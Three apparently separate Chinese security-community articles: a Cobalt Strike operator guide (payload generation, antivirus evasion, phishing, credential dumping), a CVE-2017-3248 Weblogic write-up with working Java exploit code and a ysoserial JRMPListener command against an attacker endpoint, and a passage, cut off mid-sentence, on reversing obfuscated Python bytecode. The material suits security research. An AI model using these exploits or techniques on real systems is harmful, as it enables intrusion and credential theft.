* (可选步骤)扩展Team Server - 选取或自定义一个C2通信配置文件[Malleable C2 profile](https://www.cobaltstrike.com/help-malleable-c2) 可设置有效的SSL证书等
* (可选步骤)扩展Client功能 - 使用[AggressorScripts](https://github.com/search?q=Aggressor+Script)修改或扩展Cobalt Strike 3.* 的客户端功能
* 启动团队服务器Team Server
* Client 登录Team Server
* 启动监听器Listener
* 生成payload
* (可选步骤)对payload进行免杀 尽量避免被victim的杀毒软件报毒
* 使用任意途径以实现victim主机执行payload
* 对victim主机所在网络进行后渗透操作
#### 运行环境
* Team Server 推荐运行环境
* Kali Linux 1.0, 2.0 – i386 and AMD64
* Ubuntu Linux 12.04, 14.04 – x86, and x86_64
* Client GUI 运行环境
* Windows 7 and above
* macOS X 10.10 and above
* Kali Linux 1.0, 2.0 – i386 and AMD64
* Ubuntu Linux 12.04, 14.04 – x86, and x86_64
#### 扩展性
**CS的自带的某些功能可能已过时，但其扩展性是非常强大，利用好CS的扩展性十分有用！**
* Team Server 的扩展性
* C2通信配置文件 - [Malleable C2 profile](https://www.cobaltstrike.com/help-malleable-c2)
* 定义C2的通信格式，修改CS默认的流量特征，以对抗流量分析
* 使用前强烈推荐使用团队服务器上的脚本对配置文件进行本地的单元测试以检查语法`./c2lint my.profile`
* 每个Cobalt Strike团队服务器只能加载一个配置文件，如果需要多个配置文件，可以启动多个团队服务器，每个都有自己的配置文件，可从同一个Cobalt Strike客户端连接到这些服务器
* 外部C2（第三方C2） - [External C2 (Third-party Command and Control)](https://www.cobaltstrike.com/downloads/externalc2spec.pdf)
* C2 over chat protocols
* C2 over network covert channels
* C2 trough database fields
* C2 trough synced locations ([owncloud](https://github.com/owncloud/core) / RSYNC etc.)
* ...
* Client GUI 的扩展性
* [AggressorScripts](https://github.com/search?q=Aggressor+Script)脚本 - 修改或扩展Cobalt Strike 3.* 的客户端功能(可实现自定义菜单创建，日志记录，权限维持等)，参考官方的[Aggressor Script Tutorial and Reference](https://www.cobaltstrike.com/aggressor-script/index.html)
* 具体的脚本文件`scriptName.cna` \- [harleyQu1nn/AggressorScripts](https://github.com/harleyQu1nn/AggressorScripts)
### 启动团队服务器Team Server
执行`sudo ./teamserver`看到如下说明:
[*] Generating X509 certificate and keystore (for SSL)
[*] ./teamserver <host> <password> [/path/to/c2.profile] [YYYY-MM-DD]
<host> is the (default) IP address of this Cobalt Strike team server
<password> is the shared password to connect to this server
[/path/to/c2.profile] is your Malleable C2 profile
[YYYY-MM-DD] is a kill date for Beacon payloads run from this server
* 启动参数`./teamserver <host> <password> [/path/to/c2.profile] [YYYY-MM-DD]`
* 1 - 必填参数`host` 本服务器外网IP/域名
* 2 - 必填参数`password` Client GUI连接时需要输入的密码
* 3 - 可选参数`Malleable C2 communication profile` 指定C2通信配置文件 该功能体现了CS的强大扩展性
* 4 - 可选参数`kill date` 指定所有payload的终止日期
# 启动Team Server
# team server 必须以 root 权限运行 以便于监听端口号为0–1023的listener
# 默认使用50050端口 监听来自团队成员CS Client的连接请求
# 例
sudo ./teamserver this.CShost.com pAsSXXXw0rd
### Client登录团队服务器
macOS下启动CS Client GUI `./Cobalt Strike`
即`java -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -jar
cobaltstrike.jar $*`
团队成员A首次登录，需要输入连接信息(会自动保存为一个`team server profile`下次可直接登录)，登录到团队服务器Team Server。
可通过`Cobalt Strike - > Preferences - > Team Servers`维护本地的登录信息配置文件的列表`team
server profiles`。
### Client GUI 图形界面
#### 概览
> 注：使用`Aggressor Script`可以修改或扩展Cobalt Strike 3.* 的客户端功能和界面
当你没有手动加载过任何`Aggressor Script`时，登录后的Client GUI默认界面如下图：
#### 逐个讲解
* 顶部菜单 - CS的所有功能和配置 主要使用`View`和`Attack`
* toolbar - 工具栏为经常使用的功能提供了一键入口（toolbar中所有功能都可以在顶部菜单找到 所以可设置不显示toolbar)
* sessions和targerts - 管理被控的目标网络的会话和主机 (概览图中红色部分)共有3种不同的显示视图
* `View`Tabs - 查看相关结果 (概览图中绿色部分)
### 顶部菜单Cobalt Strike
#### VPN Interface
[VPN Pivoting - Cobalt Strike](https://www.cobaltstrike.com/help-covert-vpn)
#### Visualization
三种视图
#### Listeners
如下图，CS 3.12版 有8种Listener
* Listeners
* windows/beacon_dns/reverse_dns_txt
* windows/beacon_dns/reverse_http
* windows/beacon_http/reverse_http
* windows/beacon_https/reverse_https
* windows/beacon_smb/bind_pipe 即 [SMB Beacon](https://www.cobaltstrike.com/help-smb-beacon)
* windows/foreign/reverse_http
* windows/foreign/reverse_https
* windows/foreign/reverse_tcp
* CS 3.13新增了1个Listener
* `windows/beacon_tcp/bind_tcp`
* 用于P2P通信 且支持linuxSSH会话
* 使用 `connect IP`命令控制等待连接的TCP Beacon
* 使用`unlink`命令断开TCP Beacon会话
beacon - CS自带的Listeners
foreign - 配合外部Listeners，使其他远控软件能够控制CS中的victim主机
reverse - 表示victim中招后主动先发出请求,与Team Server上的对应的Listener监听的指定端口建立连接
#### Script Manager
`Cobalt Strike -> Script Manager`加载脚本
`scriptName.cna`
如加载`ProcessColor.cna`后，可见修改了ps回显结果：
### 顶部菜单Attack
#### 基础知识
* stager
* 定义 - 本身是一段尽可能小的手工优化过的汇编程序 [参考](https://blog.cobaltstrike.com/2013/06/28/staged-payloads-what-pen-testers-should-know/)
* 功能 - 连接到主控端，按照主控端的要求对大的payload (即 stage)进行下载、注入内存、执行
* payload (即 stage)
* 定义 - 理论上是一段任意大小的、与位置无关的代码，被stager执行
* 功能 - 具体功能的实现，Cobalt Strike的许多攻击和工作流程都将payload用多个stage实现投递
payload staging - 指将payload用多个stage实现投递
[stageless payload artifact](https://blog.cobaltstrike.com/2016/06/15/what-is-a-stageless-payload-artifact/) \- 可理解为包含了payload的"全功能"被控端程序
#### 功能讲解
* Packages
* HTML Application - 生成(executable/VBA/powershell)这3种原理不同的VBScript实现的`evil.hta`文件
* MS Office Macro - 生成恶意宏放入office文件 非常经典的攻击手法
* Payload Generator - 生成各种语言版本的payload 便于进行免杀
* USB/CD AutoPlay - 生成利用自动播放运行的被控端文件
* Windows Dropper - 捆绑器可将任意正常的文件(如1.txt)作为Embedded File)，捆绑生成Dropper.exe (免杀效果差，很容易被杀软的行为分析引擎报毒)
* Windows Executable - 可执行文件 默认x86 勾选x64表示包含x64 payload stage生成了artifactX64.exe(17kb) artifactX64.dll(17kb)
* [Windows Executable (Stageless)](https://www.cobaltstrike.com/help-staged-exe) \- Stageless 表示把包含payload在内的"全功能"被控端都放入生成的可执行文件beconX64.exe(313kb) beconX64.dll(313kb) becon.ps1(351kb)
* Web Drive-by 基于Web的功能
* Manage - 管理当前Team Server开启的所有web服务(以下Clone Site等功能开启的)
* Clone Site - 克隆某网站 可使用JavaScript记录victim在生成的钓鱼网站的按键记录
* Host File - 在Team Server的某端口提供Web以供下载某文件，可选择response的MIME(推荐将文件放到github等"白域名"下以对抗流量分析)
* Scripted Web Delivery - 为payload提供web服务以便于下载和执行，类似于msf的[Script Web Delivery](https://www.rapid7.com/db/modules/exploit/multi/script/web_delivery).(推荐将文件放到github等"白域名"下以对抗流量分析)
* [Signed Applet Attack ](https://cobaltstrike.com/help-java-signed-applet-attack) \- 启动一个Web服务以提供自签名Java Applet的运行环境，浏览器会要求victim授予applet运行权限，如果victim同意则实现控制。该攻击方法已过时。[Java Self-Signed Applet (Age: 1.7u51)](https://blog.cobaltstrike.com/2014/01/21/obituary-java-self-signed-applet-age-1-7u51/)
* Smart Applet Attack - 自动检测Java版本并l利用已知的exploits绕过security sandbox.[CS官方称该攻击的实现已过时，在现代环境中无效](https://cobaltstrike.com/help-java-smart-applet-attack)
* System Profiler 用来获取系统信息:系统版本，Flash版本，浏览器版本等
* Spear Phish - 鱼叉钓鱼邮件功能
### 顶部菜单View
* Event log - 事件日志
* victim主机 上线等记录
* 团队成员 登录/注销/交流
* 直接在Event
log中输入内容并回车，则所有成员可见
* 输入`/msg neo 123`则发给成员neo一条消息 内容为123
* Web log - 所有Web服务的日志
* 如`Clone site`功能克隆网站后可在此看到web访问日志及在网站中的按键记录。
* 如`Host File`功能在Team Server的某端口提供Web以供下载某文件，可在此看到web访问日志。
* Credentials - 显示所有已获取的victim主机的凭证
* 如hashdump
* 如Mimikatz
* Downloaded files - 显示所有已下载的文件
* Targets - 显示所有victim主机
* Proxy Pivots - 查看代理信息
* Applications - 显示victim主机的应用信息
* 如 浏览器及具体版本
* 如 操作系统及具体版本
* Keystrokes - 查看目标windows系统的键盘记录结果
* 窗口名称及该窗口下的键盘记录结果
* Screenshots - 查看所有屏幕截图
* victim信息(user|computer name|pid|when)及图片
* Script Console - 在此加载第三方脚本以增强功能：CS`3.*`版本只支持[AggressorScripts](https://github.com/search?q=Aggressor+Script)
### 顶部菜单Reporting
CS 3.12 可导出6种报告
* Activity report - 活动报告：红队活动timeline
* Hosts report - 主机报告：每个主机的Hosts, services, credentials, sessions
* Indicators of Compromise - IoC报告：类似于威胁情报报告中的附录IoC信息，
内容包括:[Malleable C2 profile](https://www.cobaltstrike.com/help-malleable-c2)配置文件的流量分析、C2域名和ip、你上传的所有文件的MD5 hashes
* Sessions report - 会话报告：红队活动的完整信息。它捕获每个session，该session的communication path(通信路径)，在该session期间放置在目标上的MD5 hashes，并提供红队活动的日志。
* Social engineering report - 社会工程学报告：包括鱼叉钓鱼邮件及点击记录
* Tactics, Techniques, and Procedures - 战术技术及相关程序报告：
报告内容是您的Cobalt Strike行动对应的 [MITRE
ATT&CK™](https://attack.mitre.org/)Matrix，可看到对每种战术的检测策略和缓解策略。
如下图，报告可导出为MS Word或PDF文档(勾选即可对其中的Email和password打码)：
* * *
顶级菜单Reporting下最后的两个选项:
* Reset data - 清空数据 不可恢复
* Export data - 导出源数据(生成的报告是从这些源数据中获取对应内容填充报告)：导出以下文件
activity.tsv
campaigns.tsv
sentemails.tsv
targets.tsv
applications.tsv
credentials.tsv
services.tsv
tokens.tsv
c2info.tsv
events.tsv
sessions.tsv
webhits.tsv
### 对目标主机进行操作
当有victim主机以任何方式运行了生成的被控端，出现在主机列表，选中要操作的目标主机，右键`interact`进入交互命令界面，在此使用Beacon
Commands对victim主机执行各种操作。
Beacon Commands是最全的，包含了图形化的控制功能。
#### Beacon Commands
beacon> help
Beacon Commands
===============
Command Description
------- ----------- browserpivot Setup a browser pivot session
bypassuac Spawn a session in a high integrity process
cancel Cancel a download that's in-progress
cd Change directory
checkin Call home and post data
clear Clear beacon queue
covertvpn Deploy Covert VPN client
cp Copy a file
dcsync Extract a password hash from a DC
desktop View and interact with target's desktop
dllinject Inject a Reflective DLL into a process
dllload Load DLL into a process with LoadLibrary()
download Download a file
downloads Lists file downloads in progress
drives List drives on target
elevate Try to elevate privileges
execute Execute a program on target (no output)
execute-assembly Execute a local .NET program in-memory on target
exit Terminate the beacon session
getprivs Enable system privileges on current token
getsystem Attempt to get SYSTEM
getuid Get User ID
hashdump Dump password hashes
help Help menu
inject Spawn a session in a specific process
jobkill Kill a long-running post-exploitation task
jobs List long-running post-exploitation tasks
kerberos_ccache_use Apply kerberos ticket from cache to this session
kerberos_ticket_purge Purge kerberos tickets from this session
kerberos_ticket_use Apply kerberos ticket to this session
keylogger Inject a keystroke logger into a process
kill Kill a process
link Connect to a Beacon peer over SMB
logonpasswords Dump credentials and hashes with mimikatz
ls List files
make_token Create a token to pass credentials
mimikatz Runs a mimikatz command
mkdir Make a directory
mode dns Use DNS A as data channel (DNS beacon only)
mode dns-txt Use DNS TXT as data channel (DNS beacon only)
mode dns6 Use DNS AAAA as data channel (DNS beacon only)
mode http Use HTTP as data channel
mode smb Use SMB peer-to-peer communication
mv Move a file
net Network and host enumeration tool
note Assign a note to this Beacon
portscan Scan a network for open services
powerpick Execute a command via Unmanaged PowerShell
powershell Execute a command via powershell.exe
powershell-import Import a powershell script
ppid Set parent PID for spawned post-ex jobs
ps Show process list
psexec Use a service to spawn a session on a host
psexec_psh Use PowerShell to spawn a session on a host
psinject Execute PowerShell command in specific process
pth Pass-the-hash using Mimikatz
pwd Print current directory
reg Query the registry
rev2self Revert to original token
rm Remove a file or folder
rportfwd Setup a reverse port forward
run Execute a program on target (returns output)
runas Execute a program as another user
runasadmin Execute a program in a high-integrity context
runu Execute a program under another PID
screenshot Take a screenshot
setenv Set an environment variable
shell Execute a command via cmd.exe
shinject Inject shellcode into a process
shspawn Spawn process and inject shellcode into it
sleep Set beacon sleep time
socks Start SOCKS4a server to relay traffic
socks stop Stop SOCKS4a server
spawn Spawn a session
spawnas Spawn a session as another user
spawnto Set executable to spawn processes into
spawnu Spawn a session under another PID
ssh Use SSH to spawn an SSH session on a host
ssh-key Use SSH to spawn an SSH session on a host
steal_token Steal access token from a process
timestomp Apply timestamps from one file to another
unlink Disconnect from parent Beacon
upload Upload a file
wdigest Dump plaintext credentials with mimikatz
winrm Use WinRM to spawn a session on a host
wmi Use WMI to spawn a session on a host
如执行cmd命令`shell ifconfig` 更多命令说明请看附件。
#### Beacon Commands的细节和缺点
保证操作安全OPSEC - [了解Beacon
Commands实现原理](https://blog.cobaltstrike.com/2017/06/23/opsec-considerations-for-beacon-commands/)
screenshot只能截取x86进程的窗口截图（x64无效）
等等
#### 界面截图
* 键盘记录
* 远程桌面操作(VNC) - 考验网速的时候到了
等等
### 总结
Cobalt Strike是一款扩展性强、功能强大的渗透软件，值得研究。 | 社区文章 |
# RMI初探——Weblogic CVE-2017-3248反序列化漏洞
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 漏洞背景
该漏洞是继CVE-2015-4852、CVE-2016-0638、CVE-2016-3510之后的又一个重量级反序列化漏洞。
该漏洞使用了在当时为新型技术的rmi反序列化漏洞绕过了之前的修补补丁
。适用版本包括了10.3.6.0、12.1.3.0、12.2.1.0以及12.2.1.1等多个版本。笔者将从环境搭建、漏洞补丁分析、绕过方法思考、payload构建等多个方面进行研究，尽可能的将一些坑点和知识点摸排清楚，从0到1学习weblogic反序列化。
## 0x02 环境搭建及补丁安装
### 0x1 环境搭建
1. 现成环境
可以采用现成的docker环境，执行以下命令生成对应版本的docker
docker run -d -p 7001:7001 -p 8453:8453 turkeys/weblogic:10.3.6
1. 自动搭建
利用Docker自动化搭建，在github下载搭建代码
`[https://github.com/BabyTeam1024/WeblogicAutoBuild.git](https://github.com/BabyTeam1024/WeblogicAutoBuild.git)`
本次实验环境采用jdk7u21和weblogic 10.3.6.0，在jdk_use和weblogic_use文件夹下存放相对应版本的程序
执行如下命令：
./WeblogicDockerBuild.sh
docker-compose up -d
详情可参考[https://www.yuque.com/docs/share/c95cbc62-d853-4de3-94ff-282b2de3b456](https://www.yuque.com/docs/share/c95cbc62-d853-4de3-94ff-282b2de3b456?#)
### 0x2 补丁安装
本次使用的补丁是 p23094342_1036_Generic.zip（需要补丁的同学可以联系笔者获取）
获取到补丁后用如下指令进行安装
cd /weblogic/oracle/middleware/utils/bsu
./bsu.sh -install -patch_download_dir=/weblogic/oracle/middleware/utils/bsu/cache_dir/ -patchlist=UIAL -prod_dir=/weblogic/oracle/middleware/wlserver
补丁信息如下
## 0x03 补丁分析及绕过
### 0x1 补丁分析
第一时间拿到补丁后，使用之前的CVE-2016-3510 payload打了下没有反应，并且从log中发现如下报错
从报错中清楚的了解到MarshalledObject是不可被反序列化的。反过头来看下补丁是如何修补的。头脑简单的笔者一开始认为这次又是添加了什么白名单，就在各种blacklist中疯狂寻找，无果，郁闷了半天。突然在使用idea分析时在补丁包中发现了一个MarshalledObject.class文件，如下所示
笔者为了证明是这个相同包路径的接口影响了MarshalledObject反序列化，做了以下操作
mkdir test
cp BUG23094342_10360160719.jar test/
tar xvf BUG23094342_10360160719.jar
rm BUG23094342_10360160719.jar
rm weblogic/corba/utils/MarshalledObject.class
tar -cvf BUG23094342_10360160719.jar ./
然后再使用CVE-2016-3510 payload试了下，发现可以成功
那么总结下这次补丁是编写 **相同包名** 和 **类名** 的 **接口** 覆盖之前的类，使其变得不可反序列化，妙啊！
### 0x2 前置知识-RMI反序列化
理论上讲找个类替代MarshalledObject的功能即可完成绕过，但这次并没有这么做，而是引出了一种比较有意思的反序列化漏洞，RMI反序列化漏洞（关于这个系列的漏洞，笔者打算单独开个板块进行分析）。这次主要介绍如何绕过该补丁。
RMI 为Java远程方法调用，是Java编程语言里，一种用于实现 **远程过程调用** 的 **应用程序编程接口**
。它使客户机上运行的程序可以调用远程服务器上的对象。RMI反序列整个体系比较复杂，但一般掌握了其中几个知识点就可以应对很多场景了。笔者在整理RMI知识的时候，总结了RMI通信过程中可利用的反序列化点
大致分为三类
**客户端触发** ， **服务端触发** 和 **注册中心触发，** ysoserial中涉及的几个反序列化点都在对应的地方标注了。
**客户端触发**
1.当客户端向注册中心发送lookup数据包时注册中心会把stub对象返回给客户端并 **在客户端触发readObject**
2.当客户端使用StreamRemoteCall与远程通信时，在executeCall函数中存在反序列化 **在客户端触发readObject**
(payloads/JRMPClient配合exploit/JRMPListener)
3.当客户端使用DGCImpl_Stub与DGC服务端交互式时会在dirty函数中反序列化远程传递过来的Lease对象序列化后的数据，
**在客户端触发readObject**
**服务端触发**
1.当客户端向服务端发送调用远程方法的请求时会先使用DGCImpl_Stub和服务端通信，在处理dirty请求时会在对象申请和引用的时候
**在服务端触发readObject** (exploit/JRMPClient，可配合payloads/JRMPListener)
**注册中心触发**
1.当客户端向注册中心发送 **lookup**
数据包时会把binding中stub对应的String类型名字以序列化的形式发送，注册中心收到数据包后，将会在 **注册端触发readObject**
，反序列化传过来的名字。
2.当服务端或客户端向注册中心（RegistryImpl） **bind** 绑定stub的时候会在 **注册端触发readObject**
(exploit/RMIRegistryExploit)
3.当服务端或客户端向注册中心（RegistryImpl） **unbind** 解绑stub的时候会在 **注册端触发readObject**
4.当服务端或客户端向注册中心（RegistryImpl） **rebind** 重新绑定stub的时候会在 **注册端触发readObject**
### 0x3 RMI反序列化原理
CVE-2017-3248
可采用客户端或是服务端触发两种方式绕过上次漏洞补丁。重点分析payloads/JRMPClient配合exploit/JRMPListener完成此次攻击利用的深层次原理。
payloads/JRMPClient的反序列化背景是客户端获取到来自RegistryImpl_Skel的回应后，将会调用DGCClient的与远程DGCServer进行通信。调用栈如下
主要问题出现在StreamRemoteCall.class类的executeCall函数上
观察发现this.in为ConnectionInputStream类型并没有黑名单的限制，因此只要服务端可控，就可以像客户端发送任意反序列化数据。
碰巧的是在RemoteObjectInvocationHandler的反序列化代码里会调用这个StreamRemoteCall类里的executeCall方法
结合之前的调用栈dgc.dirty函数就已经可以触发到executeCall代码
## 0x04 利用方法
### 0x1 如何构造Payload
前面分析了漏洞原理，那么客户端需要构建怎样的代码才能触发到反序列化呢？这个还要从rmi机制说起，详细内容可以将会在之后的rmi专题进行讲解，这里只是把大概逻辑捋一捋，这一节会有很多类和变量，不理解没关系主要了解过程。
**首先思考一个问题**
，RMI客户端如何调用远程服务器上的其他类？RMI机制是这么做的，涉及到对端调用的类将会生成类似Stub和Skel的对等结构，其中Stub在客户端保存（客户端可自己生成比如RegistryImpl_stub，也可通过网络通过网络从服务端获取Proxy(MyclassImpl)）。因为我们只分析客户端，这里引出一张客户端RMI调用流程图
* 黄线：客户端首先调用getRegistry函数生成注册中心Stub（RegistryImpl_stub）
* 黄线：接着通过lookup方法与远程服务通信，远程服务会在ObjectTable中匹配该stub包含的Target，进行路由分发
* 紫线：服务端接收到lookup请求后，会将已经生成好的 **代理类Proxy(MyclassImpl)** 返回给客户端
* 绿线：客户端收到代理类Stub，直接调用其中的方法就会与远程服务通信并在远程执行相关代码
我们重点关注下紫线部分的处理流程，服务端到底返回的是个什么东西，我们找到服务端启动代码
当代码执行到13行时，因为UserImpl继承了UnicastRemoteObject类并且在构造方法里调用了父类构造方法，所以将会执行UnicastRemoteObject类中的构造方法
构造方法会调用exportObject
**下面重点来了，如何封装传递给Client端的Stub**
方便理解笔者倒着分析，在最后利用RemoteObjectInvocationHandler代理了我们需要执行的类，那么RemoteRef是如何而来的，从当前代码中只能看见时getClientRef获取到的
getClientRef代码如下，this.ref是什么时候赋值的？
在UnicastRemoteObject构造方法一开始时就赋值了，sref如何生成
sref其实是UnicastServerRef是UnicastRef的子类
在其构造方法中创建了LiveRef对象并赋值给了UnicastRef的ref变量
可能会有些绕，整体可以总结为如下代码
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("192.168.0.213", 7777);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
仿照服务端的createProxy函数，将RemoteObjectInvocationHandler封装进代理类。
(Registry)Proxy.newProxyInstance(cve_2017_3248.class.getClassLoader(), new Class[]{Registry.class}, obj);
利用代码如下所示，完整项目代码在<https://github.com/BabyTeam1024/CVE-2017-3248>
package main;
import com.supeream.serial.Serializables;
import com.supeream.weblogic.T3ProtocolOperation;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
public class cve_2017_3248 {
public Object getObject(){
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint("192.168.0.213", 7777);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry)Proxy.newProxyInstance(cve_2017_3248.class.getClassLoader(), new Class[]{Registry.class}, obj);
return proxy;
}
public static void main(String[] args) throws Exception {
Object obj = new cve_2017_3248().getObject();
byte[] payload2 = Serializables.serialize(obj);
T3ProtocolOperation.send("127.0.0.1", "7001", payload2);
}
}
### 0x2 整合利用
整个过程使用JRMP Server端反打Client端
**Step 1 使用JRMPListener监听端口**
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections1 'touch /tmp/D4ck'
**Step 2 发送漏洞payload**
反序列化数据中包含rmi 客户端链接代码
## 0x05 总结
CVE-2017-3248
使用了RMI反序列化漏洞，也揭开了笔者分析RMI漏洞原理的新篇章。后面将不断分析Weblogic相关反序列化漏洞，以及系统总结整理RMI反序列化漏洞的基础知识和简单利用。
## 参考文章
<https://help.aliyun.com/document_detail/55789.html>
<https://paper.seebug.org/333/>
<https://nvd.nist.gov/vuln/detail/CVE-2017-3248>
<https://y4er.com/post/weblogic-jrmp/>
<https://www.secrss.com/articles/25852>
[https://updates.oracle.com/Orion/SimpleSearch/process_form?search_type=patch&patch_number=23094342&plat_lang=&display_type=&search_style=8&orderby=&direction=&old_type_list=&gobuttonpressed=&sortcolpressed=&tab_number=&c_release_parent=product&c_product_child=release](https://updates.oracle.com/Orion/SimpleSearch/process_form?search_type=patch&patch_number=23094342&plat_lang=&display_type=&search_style=8&orderby=&direction=&old_type_list=&gobuttonpressed=&sortcolpressed=&tab_number=&c_release_parent=product&c_product_child=release)
[https://tiaotiaolong.net/2020/04/12/JRMPListener-&&-JRMPClient%E4%BD%BF%E7%94%A8%E5%B0%8F%E8%AE%B0/](https://tiaotiaolong.net/2020/04/12/JRMPListener-&&-JRMPClient%E4%BD%BF%E7%94%A8%E5%B0%8F%E8%AE%B0/) | 社区文章 |
**作者: evilpan
原文链接: <https://evilpan.com/2020/10/11/protected-python/>**
# 前言
某天在群里看到一个大佬看到另一个大佬的帖子而发的帖子的截图，如下所示:
不过当我看到的时候已经过去了大概720小时??
在查看该以太币交易记录的时候，发现在充值之后十几小时就被提走了，可能是其他大佬也可能是作者自己。虽然没钱可偷，但幸运的是 pyc
的下载地址依然有效，所以我就下载下来研究了一下。
# 初步分析
首先在专用的实验虚拟机里运行一下，程序执行没有问题:
$ python2 ether_v2.pyc
Input UR answer: whatever
You are too vegetable please try again!
然后看看文件里是否有对应的字符串信息:
$ grep vegetable ether_v2.pyc
很好，屁都没有，看来字符串也混淆了。
目前市面上有一些开源的 pyc 还原工具，比如:
* [uncompyle6](https://github.com/rocky/python-uncompyle6)
* [pycdc](https://github.com/zrax/pycdc)
* ...
但是看作者的自信，应该是有信心可以抗住的，事实证明也确实可以。
# Python 反汇编
既然没有现成工具能用，那么我们就需要通过自己的方法来对代码逻辑进行还原。要分析代码逻辑第一步至少要把字节码还原出来，使用 dis 模块可以实现:
import dis
import marshal
with open('ether_v2.pyc', 'rb') as f:
magic = f.read(4)
timestamp = f.read(4)
code = marshal.load(f)
dis.disassemble(code)
`.pyc`文件本身是字节码的`marshal`序列化格式，在 Python2.7 中加上 8 字节的 pyc
头信息。一般通过上面的代码即可打印出文件中的字节码信息。当然，这个事情并不一般:
$ python2 try1.py
Traceback (most recent call last):
File "try1.py", line 9, in <module>
dis.disassemble(code)
File "/usr/lib/python2.7/dis.py", line 64, in disassemble
labels = findlabels(code)
File "/usr/lib/python2.7/dis.py", line 166, in findlabels
oparg = ord(code[i]) + ord(code[i+1])*256
IndexError: string index out of range
在 dis 模块中直接异常退出了，有点意思。查看 dis 的源码，查看出错的部分，发现在 `co.co_code`、 `co.co_names`、
`co.co_consts`等多个地方都出现了下标溢出的`IndexError`。不管是什么原因，我们先把这些地方 patch 掉:
这回就能看到输出的 Python 字节码了，如下:
$ ./dec.py --pyc ether_v2.pyc
3 0 JUMP_ABSOLUTE 2764
3 LOAD_CONST 65535 (consts[65535])
6 <218> 50673
9 SET_ADD 18016
12 IMPORT_NAME 8316 (names[8316])
15 STOP_CODE
16 LOAD_CONST 33 (8)
19 COMPARE_OP 2 ('==')
22 POP_JUMP_IF_FALSE 99
25 LOAD_FAST 28 ('/ * && ')
28 LOAD_ATTR 45 ('append')
31 LOAD_FAST 9 ('with ^ raise ')
34 LOAD_FAST 44 ('with as - 6 lambda ')
37 COMPARE_OP 8 ('is')
40 CALL_FUNCTION 1
43 POP_TOP
44 JUMP_FORWARD 8559 (to 8606)
...
不过这些字节码的逻辑看起来很奇怪，看不出哪里奇怪不要紧，我们先来看看正常的 Python 字节码。
# Python ByteCode 101
Python 是一种解释型语言，而 Python 字节码是一种平台无关的中间代码，由 Python 虚拟机动态(PVM)解释执行，这也是 Python
程序可以跨平台的原因。
## 示例
看一个简单的例子`test.py`:
#!/usr/bin/env python2
def add(a, b):
return a - b + 42
def main():
b = add(3, 4)
c = add(b, 5)
result = 'evilpan: ' + str(c)
print result
if __name__ == '__main__':
main()
使用上面的反汇编程序打印出字节码如下:
$ ./dec.py --pyc test.pyc
3 0 LOAD_CONST 0 (<code object add at 0x7f02ee26f5b0, file "test.py", line 3>)
3 MAKE_FUNCTION 0
6 STORE_NAME 0 ('add')
6 9 LOAD_CONST 1 (<code object main at 0x7f02ee26ff30, file "test.py", line 6>)
12 MAKE_FUNCTION 0
15 STORE_NAME 1 ('main')
12 18 LOAD_NAME 2 ('__name__')
21 LOAD_CONST 2 ('__main__')
24 COMPARE_OP 2 ('==')
27 POP_JUMP_IF_FALSE 40
13 30 LOAD_NAME 1 ('main')
33 CALL_FUNCTION 0
36 POP_TOP
37 JUMP_FORWARD 0 (to 40)
>> 40 LOAD_CONST 3 (None)
43 RETURN_VALUE
能看懂英文的话，理解上面的代码应该也没有太大问题，不过值得注意的是有两个 `LOAD_CONST`
指令的参数本身也是代码，即`dis.disassemble`函数的参数，所以我们可以对其也进行反汇编:
dis.disassemble(code)
# ...
print("=== 0 ===")
dis.disassemble(code.co_consts[0])
print("=== 1 ===")
dis.disassemble(code.co_consts[1])
结果如下:
=== 0 ===
4 0 LOAD_FAST 0 ('a')
3 LOAD_FAST 1 ('b')
6 BINARY_SUBTRACT
7 LOAD_CONST 1 (42)
10 BINARY_ADD
11 RETURN_VALUE
=== 1 ===
7 0 LOAD_GLOBAL 0 ('add')
3 LOAD_CONST 1 (3)
6 LOAD_CONST 2 (4)
9 CALL_FUNCTION 2
12 STORE_FAST 0 ('b')
8 15 LOAD_GLOBAL 0 ('add')
18 LOAD_FAST 0 ('b')
21 LOAD_CONST 3 (5)
24 CALL_FUNCTION 2
27 STORE_FAST 1 ('c')
9 30 LOAD_CONST 4 ('evilpan: ')
33 LOAD_GLOBAL 1 ('str')
36 LOAD_FAST 1 ('c')
39 CALL_FUNCTION 1
42 BINARY_ADD
43 STORE_FAST 2 ('result')
10 46 LOAD_FAST 2 ('result')
49 PRINT_ITEM
50 PRINT_NEWLINE
51 LOAD_CONST 0 (None)
54 RETURN_VALUE
## 基本概念
上述打印的是 Python 字节码的伪代码，存储时还是二进制格式，这个在下一节说。上面的伪代码虽然大致能猜出意思， 但这并不是严谨的方法。实际上
Python
字节码在[官方文档](https://docs.python.org/2.7/library/dis.html)有比较详细的介绍，包括每个指令的含义以及参数。
> 注意: 字节码的实现和具体Python版本有关
对于常年进行二进制逆向的人而言，可以把 Python 字节码看做是一种特殊的指令集。对于一种指令集，我们实际上需要关心的是指令结构和调用约定。Python
虚拟机 PVM 是一种基于栈的虚拟机，参数也主要通过栈来进行传递，不过与传统 x86 的参数传递顺序相反，是从左到右进行传递的。
每条字节码由两部分组成:
opcode + oparg
其中`opcde`占1字节，即PVM支持最多256个类型的指令；
`oparg`占的空间和`opcode`有关，如果`opcode`带参数，即`opcode > dis.HAVE_ARGUMENT`，则`oparg`占
**2个字节**
；通常`oparg`表示在对应属性中的索引，比如`LOAD_CONST`指令的`oparg`就表示参数在`co_consts`数组中的索引。
> 在Python3中oparg占1个字节，所以再次提醒: 字节码的解析和具体Python版本有关
数组元素的数量是可变的，2字节最多只能表示65536个元素，要是超过这个值怎么办？答案就是
